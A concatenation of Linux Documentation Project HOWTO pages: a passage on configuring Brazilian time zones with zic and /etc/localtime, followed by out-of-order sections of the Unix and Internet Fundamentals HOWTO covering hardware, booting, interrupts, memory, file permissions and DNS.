Rule    Brazil  2001  only  -     Feb   18   0:00  0      S

# Zone  NAME                    GMTOFF  RULES/SAVE      FORMAT  [UNTIL]
Zone    Brazil/DeNoronha        -2:00   Brazil          BRE%sT
Zone    posix/Brazil/DeNoronha  -2:00   Brazil          BRE%sT
Zone    right/Brazil/DeNoronha  -2:00   Brazil          BRE%sT
Zone    Brazil/East             -2:00   Brazil          BRE%sT
Zone    posix/Brazil/East       -2:00   Brazil          BRE%sT
Zone    right/Brazil/East       -2:00   Brazil          BRE%sT

Zone    America/Sao_Paulo       -3:00   Brazil          BR%sT
Zone    America/Rio_de_Janeiro  -3:00   Brazil          BR%sT
Zone    America/Brasilia        -3:00   Brazil          BR%sT
Zone    posix/America/Sao_Paulo -3:00   Brazil          BR%sT
Zone    posix/America/Rio_de_Janeiro -3:00   Brazil     BR%sT
Zone    posix/America/Salvador  -3:00   Brazil          BR%sT
Zone    posix/America/Brasilia  -3:00   Brazil          BR%sT
Zone    posix/Brazil/Central    -3:00   Brazil          BR%sT
Zone    posix/Brazil/Brasilia   -3:00   Brazil          BR%sT
Zone    posix/Brazil/Sao_Paulo  -3:00   Brazil          BR%sT
Zone    posix/Brazil/Salvador   -3:00   Brazil          BR%sT
Zone    posix/Brazil/Rio_de_Janeiro  -3:00   Brazil     BR%sT
Zone    right/America/Sao_Paulo -3:00   Brazil          BR%sT
Zone    right/America/Rio_de_Janeiro -3:00   Brazil     BR%sT
Zone    right/America/Salvador  -3:00   Brazil          BR%sT
Zone    right/America/Brasilia  -3:00   Brazil          BR%sT
Zone    right/Brazil/Central    -3:00   Brazil          BR%sT
Zone    right/Brazil/Brasilia   -3:00   Brazil          BR%sT
Zone    right/Brazil/Sao_Paulo  -3:00   Brazil          BR%sT
Zone    right/Brazil/Salvador   -3:00   Brazil          BR%sT
Zone    right/Brazil/Rio_de_Janeiro   -3:00   Brazil    BR%sT
Zone    Brazil/Central          -3:00   Brazil          BR%sT
Zone    Brazil/Brasilia         -3:00   Brazil          BR%sT
Zone    Brazil/Sao_Paulo        -3:00   Brazil          BR%sT
Zone    Brazil/Rio_de_Janeiro   -3:00   Brazil          BR%sT
Zone    Brazil/Salvador         -3:00   Brazil          BR%sT

Zone    Brazil/West             -4:00   Brazil          BRW%sT
Zone    Brazil/Manaus           -4:00   Brazil          BRW%sT
Zone    Brazil/Rondonia         -4:00   Brazil          BRW%sT
Zone    Brazil/Roraima          -4:00   Brazil          BRW%sT
Zone    Brazil/Mato_Grosso      -4:00   Brazil          BRW%sT
Zone    posix/Brazil/Manaus     -4:00   Brazil          BRW%sT
Zone    posix/Brazil/Mato_Grosso -4:00  Brazil          BRW%sT
Zone    right/Brazil/Manaus     -4:00   Brazil          BRW%sT
Zone    right/Brazil/Mato_Grosso -4:00  Brazil          BRW%sT
Zone    posix/America/Manaus    -4:00   Brazil          BRW%sT
Zone    right/America/Manaus    -4:00   Brazil          BRW%sT

Zone    Brazil/Acre             -5:00   Brazil          BRA%sT

The Rule block defines the date and time we change the Time Zone, while in the Zone block we reference the Rule will manage it. Note that the Zone name is actually the file name under /usr/share/zoneinfo directory, and here we defined several different names for the same Time Zone, just to be easyer for people to find their zone.

This file's comments explains how to install these time zones, using the zic zoneinfo compiler (which already installs them also). To make it effective, you only have to link (or copy) the zoneinfo file to /etc/localtime. In some distributions, there is a higher level (and preferred) way to set the Time Zone, described in Section 3.1.

After making /etc/localtime pointing to the correct zoneinfo file, you are already under that zone rules and DST changes are automatic -- you don't have to change time manually.

The following commands sequence shows Linux Time Zone mechanics dynamism. Note they were all issued in less than one minute:

bash$ ls -al /etc/localtime
lrwxrwxrwx  1 root root 35 May 22  2001 /etc/localtime -> /usr/share/zoneinfo/Brazil/Brasilia
bash$ date
Fri Mar 29 20:13:38 BRST 2002
bash# ln -sf /usr/share/zoneinfo/GMT /etc/localtime
bash$ date
Fri Mar 29 23:13:47 GMT 2002
bash# ln -sf /usr/share/zoneinfo/Brazil/Brasilia /etc/localtime
bash$ date
Fri Mar 29 20:14:03 BRST 2002

At 20:13, I was in my default brazilian Time Zone (BRST), then I switched to GMT and my system time changed to 23:13! When your Time Zone enters DST, you'll see a similar effect, but the rules are all inside your Time Zone (/etc/localtime link doesn't change like this example).

An application running in this machine (eg. web-server generating access logs) will feel this change, so it is very important for developers to remember that the full Time Concept is the current time plus current Time Zone, as described in Section 1.

In the end, I switched back to my correct Time Zone.

Prev | Home | Next
Computer Global Date and Time Concept |  | The Correct Settings for Your Linux Box


Basic anatomy of your computer

The Unix and Internet Fundamentals HOWTO
Prev Next

2. Basic anatomy of your computer

Your computer has a processor chip inside it that does the actual computing. It has internal memory (what DOS/Windows people call ``RAM'' and Unix people often call ``core''; the Unix term is a folk memory from when RAM consisted of ferrite-core donuts). The processor and memory live on the motherboard, which is the heart of your computer.

Your computer has a screen and keyboard. It has hard drives and floppy disks. Some of these devices are run by controller cards that plug into the motherboard and help the computer drive them; others are run by specialized chipsets directly on the motherboard that fulfill the same function as a controller card. Your keyboard is too simple to need a separate card; the controller is built into the keyboard chassis itself.

We'll go into some of the details of how these devices work later. For now, here are a few basic things to keep in mind about how they work together:

All the parts of your computer inside the case are connected by a bus. Physically, the bus is what you plug your controller cards into (the video card, the disk controller, a sound card if you have one). The bus is the data highway between your processor, your screen, your disk, and everything else.

(If you've seen references to `ISA', `PCI', and `PCMCIA' in connection with PCs and have not understood them, these are bus types. ISA is, except in minor details, the same bus that was used on IBM's original PCs in 1980; it is passing out of use now. PCI, for Peripheral Component Interconnection, is the bus used on most modern PCs, and on modern Macintoshes as well. PCMCIA is a variant of ISA with smaller physical connectors used on laptop computers.)

The processor, which makes everything else go, can't actually see any of the other pieces directly; it has to talk to them over the bus. The only other subsystem that it has really fast, immediate access to is memory (the core). In order for programs to run, then, they have to be in core (in memory).

When your computer reads a program or data off the disk, what actually happens is that the processor uses the bus to send a disk read request to your disk controller. Some time later the disk controller uses the bus to signal the processor that it has read the data and put it in a certain location in memory. The processor can then use the bus to look at that data.

Your keyboard and screen also communicate with the processor via the bus, but in simpler ways. We'll discuss those later on. For now, you know enough to understand what happens when you turn on your computer.

Prev | Home | Next
Introduction |  | What happens when you switch on a computer?


What happens when you switch on a computer?

The Unix and Internet Fundamentals HOWTO
Prev Next

3. What happens when you switch on a computer?

A computer without a program running is just an inert hunk of electronics. The first thing a computer has to do when it is turned on is start up a special program called an operating system. The operating system's job is to help other computer programs to work by handling the messy details of controlling the computer's hardware.

The process of bringing up the operating system is called booting (originally this was bootstrapping and alluded to the process of pulling yourself up ``by your bootstraps''). Your computer knows how to boot because instructions for booting are built into one of its chips, the BIOS (or Basic Input/Output System) chip.

The BIOS chip tells it to look in a fixed place, usually on the lowest-numbered hard disk (the boot disk) for a special program called a boot loader (under Linux the boot loader is called LILO). The boot loader is pulled into memory and started. The boot loader's job is to start the real operating system.

The loader does this by looking for a kernel, loading it into memory, and starting it. When you boot Linux and see "LILO" on the screen followed by a bunch of dots, it is loading the kernel. (Each dot means it has loaded another disk block of kernel code.)

(You may wonder why the BIOS doesn't load the kernel directly -- why the two-step process with the boot loader? Well, the BIOS isn't very smart. In fact it's very stupid, and Linux doesn't use it at all after boot time. It was originally written for primitive 8-bit PCs with tiny disks, and literally can't access enough of the disk to load the kernel directly. The boot loader step also lets you start one of several operating systems off different places on your disk, in the unlikely event that Unix isn't good enough for you.)

Once the kernel starts, it has to look around, find the rest of the hardware, and get ready to run programs. It does this by poking not at ordinary memory locations but rather at I/O ports -- special bus addresses that are likely to have device controller cards listening at them for commands. The kernel doesn't poke at random; it has a lot of built-in knowledge about what it's likely to find where, and how controllers will respond if they're present. This process is called autoprobing.

Most of the messages you see at boot time are the kernel autoprobing your hardware through the I/O ports, figuring out what it has available to it and adapting itself to your machine. The Linux kernel is extremely good at this, better than most other Unixes and much better than DOS or Windows. In fact, many Linux old-timers think the cleverness of Linux's boot-time probes (which made it relatively easy to install) was a major reason it broke out of the pack of free-Unix experiments to attract a critical mass of users.

But getting the kernel fully loaded and running isn't the end of the boot process; it's just the first stage (sometimes called run level 1). After this first stage, the kernel hands control to a special process called `init' which spawns several housekeeping processes.

The init process's first job is usually to check to make sure your disks are OK. Disk file systems are fragile things; if they've been damaged by a hardware failure or a sudden power outage, there are good reasons to take recovery steps before your Unix is all the way up. We'll go into some of this later on when we talk about how file systems can go wrong.

Init's next step is to start several daemons. A daemon is a program like a print spooler, a mail listener or a WWW server that lurks in the background, waiting for things to do. These special programs often have to coordinate several requests that could conflict. They are daemons because it's often easier to write one program that runs constantly and knows about all requests than it would be to try to make sure that a flock of copies (each processing one request and all running at the same time) don't step on each other. The particular collection of daemons your system starts may vary, but will almost always include a print spooler (a gatekeeper daemon for your printer).

The next step is to prepare for users. Init starts a copy of a program called getty to watch your console (and maybe more copies to watch dial-in serial ports). This program is what issues the login prompt to your console. Once all daemons and getty processes for each terminal are started, we're at run level 2. At this level, you can log in and run programs.

But we're not done yet. The next step is to start up various daemons that support networking and other services. Once that's done, we're at run level 3 and the system is fully ready for use.

Prev | Home | Next
Basic anatomy of your computer |  | What happens when you log in?


How does my computer store things in memory?

The Unix and Internet Fundamentals HOWTO
Prev Next

9. How does my computer store things in memory?

You probably know that everything on a computer is stored as strings of bits (binary digits; you can think of them as lots of little on-off switches). Here we'll explain how those bits are used to represent the letters and numbers that your computer is crunching.

Before we can go into this, you need to understand about the word size of your computer. The word size is the computer's preferred size for moving units of information around; technically it's the width of your processor's registers, which are the holding areas your processor uses to do arithmetic and logical calculations. When people write about computers having bit sizes (calling them, say, ``32-bit'' or ``64-bit'' computers), this is what they mean.

Most computers (including 386, 486, and Pentium PCs) have a word size of 32 bits. The old 286 machines had a word size of 16. Old-style mainframes often had 36-bit words. A few processors (like the Alpha from what used to be DEC and is now Compaq) have 64-bit words. The 64-bit word will become more common over the next five years; Intel is planning to replace the Pentium series with a 64-bit chip called the `Itanium'.

The computer views your memory as a sequence of words numbered from zero up to some large value dependent on your memory size. That value is limited by your word size, which is why programs on older machines like 286s had to go through painful contortions to address large amounts of memory. I won't describe them here; they still give older programmers nightmares.

9.1. Numbers

Integer numbers are represented as either words or pairs of words, depending on your processor's word size. One 32-bit machine word is the most common integer representation.

Integer arithmetic is close to but not actually mathematical base-two. The low-order bit is 1, next 2, then 4 and so forth as in pure binary. But signed numbers are represented in twos-complement notation. The highest-order bit is a sign bit which makes the quantity negative, and every negative number can be obtained from the corresponding positive value by inverting all the bits and adding one. This is why integers on a 32-bit machine have the range -2^31 to 2^31 - 1 1 (where ^ is the `power' operation, 2^3 = 8). That 32nd bit is being used for sign.

Some computer languages give you access to unsigned arithmetic which is straight base 2 with zero and positive numbers only.

Most processors and some languages can do operations in floating-point numbers (this capability is built into all recent processor chips). Floating-point numbers give you a much wider range of values than integers and let you express fractions. The ways in which this is done vary and are rather too complicated to discuss in detail here, but the general idea is much like so-called `scientific notation', where one might write (say) 1.234 * 10^23; the encoding of the number is split into a mantissa (1.234) and the exponent part (23) for the power-of-ten multiplier (which means the number multiplied out would have 20 zeros on it, 23 minus the three decimal places).

9.2. Characters

Characters are normally represented as strings of seven bits each in an encoding called ASCII (American Standard Code for Information Interchange). On modern machines, each of the 128 ASCII characters is the low seven bits of an octet or 8-bit byte; octets are packed into memory words so that (for example) a six-character string only takes up two memory words. For an ASCII code chart, type `man 7 ascii' at your Unix prompt.

The preceding paragraph was misleading in two ways. The minor one is that the term `octet' is formally correct but seldom actually used; most people refer to an octet as byte and expect bytes to be eight bits long. Strictly speaking, the term `byte' is more general; there used to be, for example, 36-bit machines with 9-bit bytes (though there probably never will be again).

The major one is that not all the world uses ASCII. In fact, much of the world can't -- ASCII, while fine for American English, lacks many accented and other special characters needed by users of other languages. Even British English has trouble with the lack of a pound-currency sign.

There have been several attempts to fix this problem. All use the extra high bit that ASCII doesn't, making it the low half of a 256-character set. The most widely-used of these is the so-called `Latin-1' character set (more formally called ISO 8859-1). This is the default character set for Linux, HTML, and X. Microsoft Windows uses a mutant version of Latin-1 that adds a bunch of characters such as right and left double quotes in places proper Latin-1 leaves unassigned for historical reasons (for a scathing account of the trouble this causes, see the demoroniser page).

Latin-1 handles western European languages, including English, French, German, Spanish, Italian, Dutch, Norwegian, Swedish, Danish. However, this isn't good enough either, and as a result there is a whole series of Latin-2 through -9 character sets to handle things like Greek, Arabic, Hebrew, Esperanto, and Serbo-Croatian. For details, see the ISO alphabet soup page.

The ultimate solution is a huge standard called Unicode (and its identical twin ISO/IEC 10646-1:1993). Unicode is identical to Latin-1 in its lowest 256 slots. Above these in 16-bit space it includes Greek, Cyrillic, Armenian, Hebrew, Arabic, Devanagari, Bengali, Gurmukhi, Gujarati, Oriya, Tamil, Telugu, Kannada, Malayalam, Thai, Lao, Georgian, Tibetan, Japanese Kana, the complete set of modern Korean Hangul, and a unified set of Chinese/Japanese/Korean (CJK) ideographs. For details, see the Unicode Home Page.

Prev | Home | Next
How does my computer keep processes from stepping on each other? |  | How does my computer store things on disk?


How do input devices and interrupts work?

The Unix and Internet Fundamentals HOWTO
Prev Next

6. How do input devices and interrupts work?

Your keyboard is a very simple input device; simple because it generates small amounts of data very slowly (by a computer's standards). When you press or release a key, that event is signalled up the keyboard cable to raise a hardware interrupt.

It's the operating system's job to watch for such interrupts. For each possible kind of interrupt, there will be an interrupt handler, a part of the operating system that stashes away any data associated with them (like your keypress/keyrelease value) until it can be processed.

What the interrupt handler for your keyboard actually does is post the key value into a system area near the bottom of memory. There, it will be available for inspection when the operating system passes control to whichever program is currently supposed to be reading from the keyboard.

More complex input devices like disk or network cards work in a similar way. Earlier, I referred to a disk controller using the bus to signal that a disk request has been fulfilled. What actually happens is that the disk raises an interrupt. The disk interrupt handler then copies the retrieved data into memory, for later use by the program that made the request.

Every kind of interrupt has an associated priority level. Lower-priority interrupts (like keyboard events) have to wait on higher-priority interrupts (like clock ticks or disk events). Unix is designed to give high priority to the kinds of events that need to be processed rapidly in order to keep the machine's response smooth.

In your operating system's boot-time messages, you may see references to IRQ numbers. You may be aware that one of the common ways to misconfigure hardware is to have two different devices try to use the same IRQ, without understanding exactly why.

Here's the answer. IRQ is short for "Interrupt Request". The operating system needs to know at startup time which numbered interrupts each hardware device will use, so it can associate the proper handlers with each one. If two different devices try use the same IRQ, interrupts will sometimes get dispatched to the wrong handler. This will usually at least lock up the device, and can sometimes confuse the OS badly enough that it will flake out or crash.

Prev | Home | Next
What happens when you run programs from the shell? |  | How does my computer do several things at once?


How does my computer store things on disk?

The Unix and Internet Fundamentals HOWTO
Prev Next

10. How does my computer store things on disk?

When you look at a hard disk under Unix, you see a tree of named directories and files. Normally you won't need to look any deeper than that, but it does become useful to know what's going on underneath if you have a disk crash and need to try to salvage files. Unfortunately, there's no good way to describe disk organization from the file level downwards, so I'll have to describe it from the hardware up.

10.1. Low-level disk and file system structure

The surface area of your disk, where it stores data, is divided up something like a dartboard -- into circular tracks which are then pie-sliced into sectors. Because tracks near the outer edge have more area than those close to the spindle at the center of the disk, the outer tracks have more sector slices in them than the inner ones. Each sector (or disk block) has the same size, which under modern Unixes is generally 1 binary K (1024 8-bit words). Each disk block has a unique address or disk block number.

Unix divides the disk into disk partitions. Each partition is a continuous span of blocks that's used separately from any other partition, either as a file system or as swap space. The original reasons for partitions had to do with crash recovery in a world of much slower and more error-prone disks; the boundaries between them reduce the fraction of your disk likely to become inaccessible or corrupted by a random bad spot on the disk. Nowadays, it's more important that partitions can be declared read-only (preventing an intruder from modifying critical system files) or shared over a network through various means we won't discuss here. The lowest-numbered partition on a disk is often treated specially, as a boot partition where you can put a kernel to be booted.

Each partition is either swap space (used to implement virtual memory) or a file system used to hold files. Swap-space partitions are just treated as a linear sequence of blocks. File systems, on the other hand, need a way to map file names to sequences of disk blocks. Because files grow, shrink, and change over time, a file's data blocks will not be a linear sequence but may be scattered all over its partition (from wherever the operating system can find a free block when it needs one). This scattering effect is called fragmentation.

10.2. File names and directories

Within each file system, the mapping from names to blocks is handled through a structure called an i-node. There's a pool of these things near the ``bottom'' (lowest-numbered blocks) of each file system (the very lowest ones are used for housekeeping and labeling purposes we won't describe here). Each i-node describes one file. File data blocks (including directories) live above the i-nodes (in higher-numbered blocks).

Every i-node contains a list of the disk block numbers in the file it describes. (Actually this is a half-truth, only correct for small files, but the rest of the details aren't important here.) Note that the i-node does not contain the name of the file.

Names of files live in directory structures. A directory structure just maps names to i-node numbers. This is why, in Unix, a file can have multiple true names (or hard links); they're just multiple directory entries that happen to point to the same i-node.

10.3. Mount points

In the simplest case, your entire Unix file system lives in just one disk partition. While you'll see this arrangement on some small personal Unix systems, it's unusual. More typical is for it to be spread across several disk partitions, possibly on different physical disks. So, for example, your system may have one small partition where the kernel lives, a slightly larger one where OS utilities live, and a much bigger one where user home directories live.

The only partition you'll have access to immediately after system boot is your root partition, which is (almost always) the one you booted from. It holds the root directory of the file system, the top node from which everything else hangs.

The other partitions in the system have to be attached to this root in order for your entire, multiple-partition file system to be accessible. About midway through the boot process, your Unix will make these non-root partitions accessible. It will mount each one onto a directory on the root partition.

For example, if you have a Unix directory called `/usr', it is probably a mount point to a partition that contains many programs installed with your Unix but not required during initial boot.

10.4. How a file gets looked up

Now we can look at the file system from the top down. When you open a file (such as, say, /home/esr/WWW/ldp/fundamentals.sgml) here is what happens:

Your kernel starts at the root of your Unix file system (in the root partition). It looks for a directory there called `home'. Usually `home' is a mount point to a large user partition elsewhere, so it will go there. In the top-level directory structure of that user partition, it will look for a entry called `esr' and extract an i-node number. It will go to that i-node, notice that its associated file data blocks are a directory structure, and look up `WWW'. Extracting that i-node, it will go to the corresponding subdirectory and look up `ldp'. That will take it to yet another directory i-node. Opening that one, it will find an i-node number for `fundamentals.sgml'. That i-node is not a directory, but instead holds the list of disk blocks associated with the file.

10.5. File ownership, permissions and security

To keep programs from accidentally or maliciously stepping on data they shouldn't, Unix has permission features. These were originally designed to support timesharing by protecting multiple users on the same machine from each other, back in the days when Unix ran mainly on expensive shared minicomputers.

In order to understand file permissions, you need to recall the description of users and groups in the section What happens when you log in?. Each file has an owning user and an owning group. These are initially those of the file's creator; they can be changed with the programs chown(1) and chgrp(1).

The basic permissions that can be associated with a file are `read' (permission to read data from it), `write' (permission to modify it) and `execute' (permission to run it as a program). Each file has three sets of permissions; one for its owning user, one for any user in its owning group, and one for everyone else. The `privileges' you get when you log in are just the ability to do read, write, and execute on those files for which the permission bits match your user ID or one of the groups you are in, or files that have been made accessible to the world.

To see how these may interact and how Unix displays them, let's look at some file listings on a hypothetical Unix system. Here's one:

snark:~$ ls -l notes
-rw-r--r--   1 esr      users         2993 Jun 17 11:00 notes

This is an ordinary data file. The listing tells us that it's owned by the user `esr' and was created with the owning group `users'. Probably the machine we're on puts every ordinary user in this group by default; other groups you commonly see on timesharing machines are `staff', `admin', or `wheel' (for obvious reasons, groups are not very important on single-user workstations or PCs). Your Unix may use a different default group, perhaps one named after your user ID.

The string `-rw-r--r--' represents the permission bits for the file. The very first dash is the position for the directory bit; it would show `d' if the file were a directory. After that, the first three places are user permissions, the second three group permissions, and the third are permissions for others (often called `world' permissions). On this file, the owning user `esr' may read or write the file, other people in the `users' group may read it, and everybody else in the world may read it. This is a pretty typical set of permissions for an ordinary data file.

Now let's look at a file with very different permissions. This file is GCC, the GNU C compiler.

snark:~$ ls -l /usr/bin/gcc
-rwxr-xr-x   3 root     bin         64796 Mar 21 16:41 /usr/bin/gcc

This file belongs to a user called `root' and a group called `bin'; it can be written (modified) only by root, but read or executed by anyone. This is a typical ownership and set of permissions for a pre-installed system command. The `bin' group exists on some Unixes to group together system commands (the name is a historical relic, short for `binary'). Your Unix might use a `root' group instead (not quite the same as the `root' user!).

The `root' user is the conventional name for numeric user ID 0, a special, privileged account that can override all privileges. Root access is useful but dangerous; a typing mistake while you're logged in as root can clobber critical system files that the same command executed from an ordinary user account could not touch.

Because the root account is so powerful, access to it should be guarded very carefully. Your root password is the single most critical piece of security information on your system, and it is what any crackers and intruders who ever come after you will be trying to get.

About passwords: Don't write them down -- and don't pick a passwords that can easily be guessed, like the first name of your girlfriend/boyfriend/spouse. This is an astonishingly common bad practice that helps crackers no end. In general, don't pick any word in the dictionary; there are programs called dictionary crackers that look for likely passwords by running through word lists of common choices. A good technique is to pick a combination consisting of a word, a digit, and another word, such as `shark6cider' or `jump3joy'; that will make the search space too large for a dictionary cracker. Don't use these examples, though -- crackers might expect that after reading this document and put them in their dictionaries.

Now let's look at a third case:

snark:~$ ls -ld ~
drwxr-xr-x  89 esr      users          9216 Jun 27 11:29 /home2/esr
snark:~$

This file is a directory (note the `d' in the first permissions slot). We see that it can be written only by esr, but read and executed by anybody else.

Read permission gives you the ability to list the directory -- that is, to see the names of files and directories it contains. Write permission gives you the ability to create and delete files in the directory. If you remember that the directory includes a list of the names of the files and subdirectories it contains, these rules will make sense.

Execute permission on a directory means you can get through the directory to open the files and directories below it. In effect, it gives you permission to access the i-nodes in the directory. A directory with execute completely turned off would be useless.

Occasionally you'll see a directory that is world-executable but not world-readable; this means a random user can get to files and directories beneath it, but only by knowing their exact names (the directory cannot be listed).

It's important to remember that read, write, or execute permission on a directory is independent of the permissions on the files and directories beneath. In particular, write access on a directory means you can create new files or delete existing files there, but does not automatically give you write access to existing files.

Finally, let's look at the permissions of the login program itself.

snark:~$ ls -l /bin/login
-rwsr-xr-x   1 root     bin         20164 Apr 17 12:57 /bin/login

This has the permissions we'd expect for a system command -- except for that 's' where the owner-execute bit ought to be. This is the visible manifestation of a special permission called the `set-user-id' or setuid bit.

The setuid bit is normally attached to programs that need to give ordinary users the privileges of root, but in a controlled way. When it is set on an executable program, you get the privileges of the owner of that program file while the program is running on your behalf, whether or not they match your own.

Like the root account itself, setuid programs are useful but dangerous. Anyone who can subvert or modify a setuid program owned by root can use it to spawn a shell with root privileges. For this reason, opening a file to write it automatically turns off its setuid bit on most Unixes. Many attacks on Unix security try to exploit bugs in setuid programs in order to subvert them. Security-conscious system administrators are therefore extra-careful about these programs and reluctant to install new ones.

There are a couple of important details we glossed over when discussing permissions above; namely, how the owning group and permissions are assigned when a file or directory is first created. The group is an issue because users can be members of multiple groups, but one of them (specified in the user's /etc/passwd entry) is the user's default group and will normally own files created by the user.

The story with initial permission bits is a little more complicated. A program that creates a file will normally specify the permissions it is to start with. But these will be modified by a variable in the user's environment called the umask. The umask specifies which permission bits to turn off when creating a file; the most common value, and the default on most systems, is -------w- or 002, which turns off the world-write bit. See the documentation of the umask command on your shell's manual page for details.

Initial directory group is also a bit complicated. On some Unixes a new directory gets the default group of the creating user (this in the System V convention); on others, it gets the owning group of the parent directory in which it's created (this is the BSD convention). On some modern Unixes, including Linux, the latter behavior can be selected by setting the set-group-ID on the directory (chmod g+s).

10.6. How things can go wrong

Earlier it was hinted that file systems can be fragile things. Now we know that to get to a file you have to hopscotch through what may be an arbitrarily long chain of directory and i-node references. Now suppose your hard disk develops a bad spot?

If you're lucky, it will only trash some file data. If you're unlucky, it could corrupt a directory structure or i-node number and leave an entire subtree of your system hanging in limbo -- or, worse, result in a corrupted structure that points multiple ways at the same disk block or i-node. Such corruption can be spread by normal file operations, trashing data that was not in the original bad spot.

Fortunately, this kind of contingency has become quite uncommon as disk hardware has become more reliable. Still, it means that your Unix will want to integrity-check the file system periodically to make sure nothing is amiss. Modern Unixes do a fast integrity check on each partition at boot time, just before mounting it. Every few reboots they'll do a much more thorough check that takes a few minutes longer.

If all of this sounds like Unix is terribly complex and failure-prone, it may be reassuring to know that these boot-time checks typically catch and correct normal problems before they become really disastrous. Other operating systems don't have these facilities, which speeds up booting a bit but can leave you much more seriously screwed when attempting to recover by hand (and that's assuming you have a copy of Norton Utilities or whatever in the first place...).

One of the trends in current Unix designs is journalling file systems. These arrange traffic to the disk so that it's guaranteed to be in a consistent state that can be recovered when the system comes back up. This will speed up the boot-time integrity check a lot.

Prev | Home | Next
How does my computer store things in memory? |  | How do computer languages work?


The Unix and Internet Fundamentals HOWTO

Eric Raymond

esr@thyrsus.com

Revision History
Revision 2.5 | 2002-02-02 | Revised by: esr
Corrected description of IP.
Revision 2.4 | 2001-06-12 | Revised by: esr
Where to find more.
Revision 2.3 | 2001-05-21 | Revised by: esr
Introduction to bus types. Polish translation link.
Revision 2.2 | 2001-02-05 | Revised by: esr
New section on how DNS is organized. Corrected for new location of document. Various copy-edit fixes.
Revision 2.1 | 2000-11-29 | Revised by: esr
Correct explanation of twos-complement numbers. Various copy-edit fixes.
Revision 2.0 | 2000-08-05 | Revised by: esr
First DocBook version. Detailed description of memory hierarchy.
Revision 1.7 | 2000-03-06 | Revised by: esr
Correct and expanded the section on file permissions.
Revision 1.4 | 1999-09-25 | Revised by: esr
Be more precise about what kernel does vs. what init does.
Revision 1.3 | 1999-06-27 | Revised by: esr
The sections `What happens when you log in?' and `File ownership, permissions and security'.
Revision 1.2 | 1998-12-26 | Revised by: esr
The section `How does my computer store things in memory?'.
Revision 1.0 | 1998-10-29 | Revised by: esr
Initial revision.

This document describes the working basics of PC-class computers, Unix-like operating systems, and the Internet in non-technical language.

Table of Contents
1. Introduction
1.1. Purpose of this document
1.2. New versions of this document
1.3. Feedback and corrections
1.4. Related resources
2. Basic anatomy of your computer
3. What happens when you switch on a computer?
4. What happens when you log in?
5. What happens when you run programs from the shell?
6. How do input devices and interrupts work?
7. How does my computer do several things at once?
8. How does my computer keep processes from stepping on each other?
8.1. Virtual memory: the simple version
8.2. Virtual memory: the detailed version
8.3. The Memory Management Unit
9. How does my computer store things in memory?
9.1. Numbers
9.2. Characters
10. How does my computer store things on disk?
10.1. Low-level disk and file system structure
10.2. File names and directories
10.3. Mount points
10.4. How a file gets looked up
10.5. File ownership, permissions and security
10.6. How things can go wrong
11. How do computer languages work?
11.1. Compiled languages
11.2. Interpreted languages
11.3. P-code languages
12. How does the Internet work?
12.1. Names and locations
12.2. The Domain Name System
12.3. Packets and routers
12.4. TCP and IP
12.5. HTTP, an application protocol
13. To Learn More
Next
Introduction


How does the Internet work?

The Unix and Internet Fundamentals HOWTO
Prev Next

12. How does the Internet work?

To help you understand how the Internet works, we'll look at the things that happen when you do a typical Internet operation -- pointing a browser at the front page of this document at its home on the Web at the Linux Documentation Project. This document is

ttp://www.linuxdoc.org/HOWTO/Unix-and-Internet-Fundamentals-HOWTO/index.html

which means it lives in the file LDP/HOWTO/Unix-and-Internet-Fundamentals-HOWTO/index.html under the World Wide Web export directory of the host www.linuxdoc.org.

12.1. Names and locations

The first thing your browser has to do is to establish a network connection to the machine where the document lives. To do that, it first has to find the network location of the host www.linuxdoc.org (`host' is short for `host machine' or `network host'; www.linuxdoc.org is a typical hostname). The corresponding location is actually a number called an IP address (we'll explain the `IP' part of this term later).

To do this, your browser queries a program called a name server. The name server may live on your machine, but it's more likely to run on a service machine that yours talks to. When you sign up with an ISP, part of your setup procedure will almost certainly involve telling your Internet software the IP address of a nameserver on the ISP's network.

The name servers on different machines talk to each other, exchanging and keeping up to date all the information needed to resolve hostnames (map them to IP addresses). Your nameserver may query three or four different sites across the network in the process of resolving www.linuxdoc.org, but this usually happens very quickly (as in less than a second). We'll look at how nameservers detail in the next section.

The nameserver will tell your browser that www.linuxdoc.org's IP address is 152.19.254.81; knowing this, your machine will be able to exchange bits with www.linuxdoc.org directly.

12.2. The Domain Name System

The whole network of programs and databases that cooperates to translate hostnames to IP addresses is called `DNS' (Domain Name System). When you see references to a `DNS server', that means what we just called a nameserver. Now I'll explain how the overall system works.

Internet hostnames are composed of parts separated by dots. A domain is a collection of machines that share a common name suffix. Domains can live inside other domains. For example, the machine www.linuxdoc.org lives in the .linuxdoc.org subdomain of the .org domain.

Each domain is defined by an authoritative name server that knows the IP addresses of the other machines in the domain. The authoritative (or `primary') name server may have backups in case it goes down; if you see references to a secondary name server or (`secondary DNS') it's talking about one of those. These secondaries typically refresh their information from their primaries every few hours, so a change made to the hostname-to-IP mapping on the primary will automatically be propagated.

Now here's the important part. The nameservers for a domain do not have to know the locations of all the machines in other domains (including their own subdomains); they only have to know the location of the nameservers. In our example, the authoritative name server for the .org domain knows the IP address of the nameserver for .linuxdoc.org, but not the address of all the other machines in linuxdoc.org.

The domains in the DNS system are arranged like a big inverted tree. At the top are the root servers. Everybody knows the IP addresses of the root servers; they're wired into your DNS software. The root servers know the IP addresses of the nameservers for the top-level domains like .com and .org, but not the addresses of machines inside those domains. Each top-level domain server knows where the nameservers for the domains directly beneath it are, and so forth.

DNS is carefully designed so that each machine can get away with the minimum amount of knowledge it needs to have about the shape of the tree, and local changes to subtrees can be made simply by changing one authoritative server's database of name-to-IP-address mappings.

When you query for the IP address of www.linuxdoc.org, what actually happens is this: First, your nameserver asks a root server to tell it where it can find a nameserver for .org. Once it knows that, it then asks the .org server to tell it the IP address of a .linuxdoc.org nameserver. Once it has that, it asks the .linuxdoc.org nameserver to tell it the address of the host www.linuxdoc.org.

Most of the time, your nameserver doesn't actually have to work that hard. Nameservers do a lot of cacheing; when yours resolves a hostname, it keeps the association with the resulting IP address around in memory for a while. This is why, when you surf to a new website, you'll usually only see a message from your browser about "Looking up" the host for the first page you fetch. Eventually the name-to-address mapping expires and your DNS has to re-query — this is important so you don't have invalid information hanging around forever when a hostname changes addresses. Your cached IP address for a site is also thrown out if the host is unreachable.

12.3. Packets and routers

What the browser wants to do is send a command to the Web server on www.linuxdoc.org that looks like this:

GET /LDP/HOWTO/Fundamentals.html HTTP/1.0

Here's how that happens. The command is made into a packet, a block of bits like a telegram that is wrapped with three important things; the source address (the IP address of your machine), the destination address (152.19.254.81), and a service number or port number (80, in this case) that indicates that it's a World Wide Web request.

